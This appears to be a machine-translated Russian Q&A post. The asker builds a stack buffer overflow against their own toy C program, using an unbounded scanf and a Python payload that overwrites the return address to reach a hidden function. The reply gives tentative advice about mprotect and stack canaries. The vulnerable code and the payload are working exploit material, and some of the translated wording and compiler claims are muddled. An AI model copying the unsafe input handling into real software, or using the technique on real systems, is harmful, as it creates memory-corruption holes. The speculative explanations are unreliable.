2011-01-03 1 views
3

В образовательных целях я пытаюсь выполнить bufferoverflow, который направляет программу на другой адрес.Простой bufferoverflow с использованием scanf (Mac OS X 10.6.5 64-бит)

Это с-программа:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

void secret1(void) { 
puts("You found the secret function No. 1!\n"); 
} 

int main() { 
char string[2]; 
puts("Input: "); 
scanf("%s", string); 
printf("You entered %s.\n", string); 
return 0; 
} 

Я использовал GDB, чтобы найти адрес secret1, а Э.С. компенсировать свою переменную строку в RIP. Используя эту информацию, я создал следующий питон-эксплуатирует:

import struct 
rip = 0x0000000100000e40 
print("A"*24 + struct.pack("<q", rip)) 

До сих пор все работает - программа переходит к secret1, а затем падает с «виной Дробления».

ОДНАКО, если я продлить свою программу так:

... 
void secret1(void) { 
puts("You found the secret function No. 1!\n"); 
} 

void secret2(void) { 
puts("You found the secret function No. 2!\n"); 
} 

void secret3(void) { 
puts("You found the secret function No. 3!\n"); 
} 
... 

... это не перескакивая ошибку сегментации на любой из функций, даже то, что новые поддельные РИП являются правильными (т.е. 0x0000000100000d6c для secret1, 0x0000000100000d7e для secret2). Сборы остаются такими же, насколько мне сказали gdb (или нет?).

я заметил, что ни один из моих попыток не работать, когда программа «достаточно большая», чтобы поместить секретную-функцию в памяти-области, заканчивающейся 0X100000 д .. - он работает как шарм Тхо, когда они где-то в 0x100000 e ..

Он также работает с несколькими секретными функциями, когда я скомпилировал его в 32-битном режиме (соответственно изменили адреса), но не в 64-битном режиме.

-fno-stack-protector // doesn't make any difference. 

Может кто-нибудь объяснить это странное поведение? Большое спасибо!

ответ

1

Возможно создание нескольких скрытых функций помещает их все на страницу памяти без разрешения на выполнение ... попробуйте явно предоставить разрешение RWX на эту страницу с помощью mprotect. Может быть, есть и другие вещи, но это первый вопрос, который я бы затронул.

Что касается опции -fno-stack-protector gcc, я был убежден, что это было запущено на gcc 4.2.1. Но после игры с ним немного больше, я узнал, что для того, чтобы включить защиту канарейки, sizeof (buffer)> = 8 должно быть истинным. Кроме того, он должен быть буфером символов, если вы не указали параметры -fstack-protector-all или -fnostack-protector-all, которые позволяют канарейкам даже для функций, которые не содержат буферов символов. Я запускаю OS X 10.6.5 с 64-разрядной версией с вышеупомянутой версией gcc и над фрагментом эксплоита переполнения буфера, который я пишу, мой стек изменяется при компиляции с -fstack-protector-all и компиляции без каких-либо соответствующих параметров (возможно, потому, что используемая функция не имеет буфера символов). Поэтому, если вы хотите быть уверенным, что эта функция отключена или включена, убедитесь, что вы используете все варианты вариантов.

 Смежные вопросы

  • Нет связанных вопросов^_^